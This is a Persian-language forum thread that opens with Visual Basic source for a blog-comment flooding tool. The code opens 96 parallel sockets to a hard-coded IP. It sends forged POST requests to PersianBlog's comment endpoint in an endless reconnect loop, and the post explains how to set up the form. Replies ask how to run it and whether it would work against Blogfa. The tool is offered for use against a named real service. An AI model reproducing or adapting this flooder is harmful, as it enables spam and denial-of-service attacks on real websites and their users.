هك كردن كامنت وبلاگ

[4shir]

سلام با اين سورس ميتونيد كاننت وبلاگ ها رو بتركونيد

کد:

[code]

------------------------------
Option Explicit
Dim SendedData As Long, I As Integer
Private Sub cmdSend_Click()
SendedData = 0
txtID.Enabled = False
Text1.Enabled = False
Text2.Enabled = False
Text3.Enabled = False
Text4.Enabled = False

Text1.Text = Replace(Text1.Text, Chr(32), "+")
Text2.Text = Replace(Text2.Text, Chr(32), "+")
Text3.Text = Replace(Text3.Text, Chr(32), "+")
Text4.Text = Replace(Text4.Text, Chr(32), "+")
For I = 0 To 95
WS(I).Close
WS(I).Connect "64.5.37.86", 80
Next I
End Sub

Public Function GetComment(cID As Long) As String
Dim txt2Send As String
txt2Send = "commentName=" & Text1.Text & "&commentEmail=" & Text2.Text & "&commentURL=" & Text3.Text & "&commentBody=" & Text4.Text & "&permitcookie=yes&cmtcn=%25uBF8E&cmttimestamp=%25uBF88%25uBF90%25uBF8D%25uBF8D%25uBF90%25uBF8D%25uBF8F%25uBF8F%25uBF8B%25uBF9F%25uBF8D%25uBF85%25uBF8B%25uBF8B%25uBF85%25uBF8C%25uBF88%25uBF9F%25uBFEF%25uBFF2&stat=undefined"
GetComment = "POST /ucomments.asp?op=update&id=" & cID & " HTTP/1.1" & vbCrLf
GetComment = GetComment & "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, application/pdf, */*" & vbCrLf
GetComment = GetComment & "Accept -Language: fa" & vbCrLf
GetComment = GetComment & "Content-Type: application/x-www-form-urlencoded" & vbCrLf
GetComment = GetComment & "Accept -Encoding: gzip , deflate" & vbCrLf
GetComment = GetComment & "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)" & vbCrLf
GetComment = GetComment & "Host: commenting.persianblog.com" & vbCrLf
GetComment = GetComment & "Content-Length: " & Len(txt2Send) & vbCrLf
GetComment = GetComment & "Connection: Keep -Alive" & vbCrLf
GetComment = GetComment & "cache -Control: no -cache" & vbCrLf & vbCrLf
GetComment = GetComment & "commentName=" & Text1.Text & "&commentEmail=" & Text2.Text & "&commentURL=" & Text3.Text & "&commentBody=" & Text4.Text & "&permitcookie=yes&cmtcn=%25uBF8E&cmttimestamp=%25uBF88%25uBF90%25uBF8D%25uBF8D%25uBF90%25uBF8D%25uBF8F%25uBF8F%25uBF8B%25uBF9F%25uBF8D%25uBF85%25uBF8B%25uBF8B%25uBF85%25uBF8C%25uBF88%25uBF9F%25uBFEF%25uBFF2&stat=undefined"
End Function

Private Sub Command1_Click()
txtID.Enabled = True
Text1.Enabled = True
Text2.Enabled = True
Text3.Enabled = True
Text4.Enabled = True
For I = 0 To 95
WS(I).Close
Next I
End Sub

Private Sub Timer1_Timer()
txtC = SendedData
End Sub

Private Sub WS_Connect(Index As Integer)
WS(Index).SendData GetComment(txtID)
End Sub

Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long)
SendedData = SendedData + 1
WS(Index).Close
WS(Index).Connect "64.5.37.86", 80
End Sub

Private Sub WS_Error(Index As Integer, ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
WS(Index).Close
WS(Index).Connect "64.5.37.86", 80
End Sub
-----------------------------------------------

[/code]


خوب من در اين فرم 5 تكست باكس گذاشتم:
txtID: درون اين تكست باكس شماره كامنتي كه اطلاعات به آن فرستاده مي‌شود نوشته مي‌شود(مثلا: 2151766)
Text1: درون این تکست باکس نام فرستنده کامنت نوشته می شود.
Text2: درون این تکست باکس آدرس ایمیل فرستنده کامنت نوشته می شود.
Text3: درون این تکست باکس آدرس وبسایت فرستنده کامنت نوشته می شود.
Text4: درون این تکست باکس متن کامنت نوشته می شود.

همچنین در این فرم یک Label به نام txtC وجود دارد كه تعداد كامنت‌هاي فرستاده‌شده را نمايش مي‌دهد.
در اين فرم از 96 كنترل Winsock استفاده شده است كه تمامي آنها انديس مي‌باشند و از انديس 0 شروع شده و تا انديس 95 ادامه مي‌يابد. علت استفاده از 96 Winsock بالابردن سرعت فرستادن كامنت‌ها مي‌باشد. قابل توجه است كه به تعداد استفاده شده از Winsock ها پورت‌هاي كامپيوتر شما نيز اشغال مي‌شوند و همچنين سرعت اينترنت شما نيز كاهش مي‌يابد.
در اين فرم يك تايمر وجود دارد كه در هر يك هزارم ثانيه مقدار كامنت‌هاي فرستاده شده را خوانده و آن را نمايش مي‌دهد. همچنين 2 Command Button وجود دارد كه يكي براي شروع فرستادن و ديگري براي توقف فرستادن استفاده مي‌شود.

هنگامي كه ما بر روي دكمه شروع كليك مي‌كنيم نرم‌افزار با استفاده از اطلاعات داده شده توسط كاربر در تكست باكس‌ها يك فرم مجازي ايجاد كرده و آن را توسط 96 سوكت به سرور پرشين بلاگ مي‌فرستد و هنگامي كه يك سوكت از سرور پرشين بلاگ اطلاعاتي دريافت مي كند بلافاصله از پرشين بلاگ قطع ارتباط مي‌نمايد و دوباره شروع به فرستادن مي‌كند. اين كار تا زماني كه كاربر تمامي سوكت‌ها را توسط دكمه توقف نبندد ادامه ‌مي‌يابد
موفق باشيد
ساسان
شخصي با اسم ايمان اين رو نوشته

[Kouros]

سلام.ممكنه بگيد سورسو چه جوري بايد باز يا اجرا كرد؟ :oops:

[mehdvirus]

حالا بيخيال اخه ديگه پرشين بلاگ هم يه كارايي كرده :wink:

[ashkan]

آره بابا يه زماني يه كامنتور واسه پرشين بلاگ بود كه ظرف سه روز باعث شد انها برنامه كامنتشونو عوض كنن . مهدي جون يادته گفتي كامنت هاي وبلاگت باعث شده وبلاگ بالا نياد.

[arnh]

راستي اين كار رو مي شه براي بلاگفا انجام داد ؟!
يا نميشه يه جوري مشكل ارسال رو حل كرد ؟

[4shir]

من كار نكردم با بلاگ فا اصلا نميدونم چي به چي هست

[arnh]

من كار نكردم با بلاگ فا اصلا نميدونم چي به چي هست

بلاگفا : پرطرفدارترین سرویس وبلاگ فارسی !

اصلا می خوام بدونم می شه از طریق یه برنامه برای وبلاگ کامنت گذاشت
یعنی بجای ارسال ایمیل از کامنت استفاده کنیم .

[marx]

ba nazaram in kod ba wasita perl bayad ijra shawa ...??